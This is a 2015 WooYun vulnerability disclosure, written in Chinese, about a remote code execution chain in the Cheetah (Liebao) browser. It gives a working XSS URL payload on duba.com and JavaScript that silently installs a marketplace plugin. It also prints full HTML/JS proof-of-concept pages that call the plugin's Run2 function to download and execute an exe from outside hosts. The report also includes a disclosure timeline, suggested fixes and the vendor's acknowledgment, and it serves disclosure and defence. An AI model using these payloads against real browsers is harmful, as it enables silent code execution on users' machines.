当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-097654

漏洞标题:猎豹浏览器远程代码执行

相关厂商:金山软件集团

漏洞作者: gainover

提交时间:2015-02-17 19:55

修复时间:2015-05-19 15:12

公开时间:2015-05-19 15:12

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-17: 细节已通知厂商并且等待厂商处理中
2015-02-18: 厂商已经确认,细节仅向厂商公开
2015-02-21: 细节向第三方安全合作伙伴开放
2015-04-14: 细节向核心白帽子及相关领域专家公开
2015-04-24: 细节向普通白帽子公开
2015-05-04: 细节向实习白帽子公开
2015-05-19: 细节向公众公开

简要描述:

新年快乐!

详细说明:

1. 下载最新版本的猎豹浏览器:KSbrowser_5.2.85.9616.exe
2. 通过分析观察猎豹所实现的一些自定义函数接口(external下的一些api),我发现金山有以下api:
external.NativeInstallExtensions(["fpmcdbknonpdbngoboglidihcbfjcaep"]);
其中fpmcdbknonpdbngoboglidihcbfjcaep是猎豹浏览器市场内的应用ID
首先,只要是liebao.cn或者是duba.com下的网站,均有权限调用该函数,而且,该函数可以用来静默安装应用市场内的任意插件(也就是安装插件没有交互提示)。
3. 对于这种静默安装插件的api,有什么利用方法呢?我大概能想到以下几种情况:
A. 自己编写一个恶意功能的插件,然后上传到应用市场(需要通过官方审核方可)
B. 寻找一个具有功能缺陷,导致我们可以进一步恶意利用的插件进行静默安装。这通常又可以分为两种情况:
B1. 插件页面具有XSS,但是由于现在通常插件页面均开启了CSP(content_security_policy),使得这种比较难以被利用,而且即使有XSS,要达到命令执行,也相对困难。
B2. 还有一种可以利用的场景,就是插件内包含有npapi,并且其public属性被设置为了true,这样我们只要静默安装了这个插件,任何页面就可以调用该npapi所提供的接口。只要该npapi所提供的函数存在安全缺陷,即可造成进一步的安全问题。

1.png


4. 基于以上分析,我们到猎豹应用市场来对一些插件进行筛选,我们比较关心一些字眼:“下载,启动”等。最终我们可以找到以下应用:

2.png


5. 安装了这个插件以后,我们发现插件里会带有一个dll文件,并且该plugin的public属性为true,可以被任意页面调用。

5.png


然而我们并不知道这个dll的具体用法。

3.png


6. 机智的我于是搜索了一下FSMeeting的官方网站和demo,当我打开了官方的演示站之后,没过了一会,我靠!我发现我电脑被自动安装上了 “好视通”的软件。。不禁心中窃喜,看来这个插件会有一个静默安装的功能,于是查看了一下源代码,发现了下图中的代码。

3.jpg


7. 不难看出,run2函数是一个下载并且执行的api,不难写出以下利用代码。

<embed  pluginspage='http://www.fsmeeting.com/download/fmloader.xpi' id='fx_ClientLoader' type='application/npcltloader-plugin' hidden='true' width='1' height='1'/>
<script>
var NodeManAddr="TCP:fsmeeting.com:1089;";
var userType="0";
var GroupName="Fastonz";
var ProductName="FMDesktop";
var ClientName="FMDesktop";
var room_para="-link"+" " + NodeManAddr + " "+"-rid"+" "+'' + " " + "-uname" + " "+''+" "+"-utype"+" "+userType;
var downloadurl="http://x.com/testbaidu.exe";
window.onload=function(){
document.getElementById("fx_ClientLoader").Run2(downloadurl,GroupName,ProductName,room_para);
}
</script>


该代码可以从x.com/testbaidu.exe并且执行。

4.png


8. 并且从前面可知,public为true的插件,在哪个页面均可被调用。这样一来,命令执行的思路就有了
利用 liebao.cn/duba.com下的一个xss来调用external.NativeInstallExtensions(["fpmcdbknonpdbngoboglidihcbfjcaep"]); 安装 好视通的浏览器插件
然后自己创建一个htm页面,调用好视通的插件函数下载远程的exe并执行。
---------------------------------------------------------------------
XSS如下:

http://tuan.duba.com/category/?city_code=\u0022\u003e\u003cimg%20src=1%20onerror=alert\u00281\u0029\u003e&cateid=4&f=qrj2015


利用XSS调用以下安装好视通插件,安装完后跳转到 liebao1.htm

external.NativeInstallExtensions(["fpmcdbknonpdbngoboglidihcbfjcaep"]);
setTimeout(function(){
location.href="http://xsst.sinaapp.com/poc/liebao1.htm";
},1500);


http://xsst.sinaapp.com/poc/liebao1.htm 的代码如下,下载并执行calc.exe:

<embed  pluginspage='http://www.fsmeeting.com/download/fmloader.xpi' id='fx_ClientLoader' type='application/npcltloader-plugin' hidden='true' width='1' height='1'/>
<script>
var NodeManAddr="TCP:fsmeeting.com:1089;";
var userType="0";
var GroupName="Fastonz";
var ProductName="FMDesktop";
var ClientName="FMDesktop";
var room_para="-link"+" " + NodeManAddr + " "+"-rid"+" "+'' + " " + "-uname" + " "+''+" "+"-utype"+" "+userType;
var downloadurl="http://xsst.sinaapp.com/poc/calc.exe";
window.onload=function(){
document.getElementById("fx_ClientLoader").Run2(downloadurl,GroupName,ProductName,room_para);
}
</script>


漏洞证明:

1. win7 (开启或关闭UAC均可)下访问 http://xsst.sinaapp.com/poc/liebao2.htm
该页面会跳转到XSS并安装“好视通”
2. 安装后,过1.5秒跳转至 http://xsst.sinaapp.com/poc/liebao1.htm,下载并执行命令,如下图所示:

6.jpg

修复方案:

1. 对静默安装函数进行修改,采取一些交互提示。
2. 对应用市场中含有npapi的应用进行更加严格的审查。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2015-02-18 15:10

厂商回复:

感谢@gainover,我们正在修复中。

最新状态:

暂无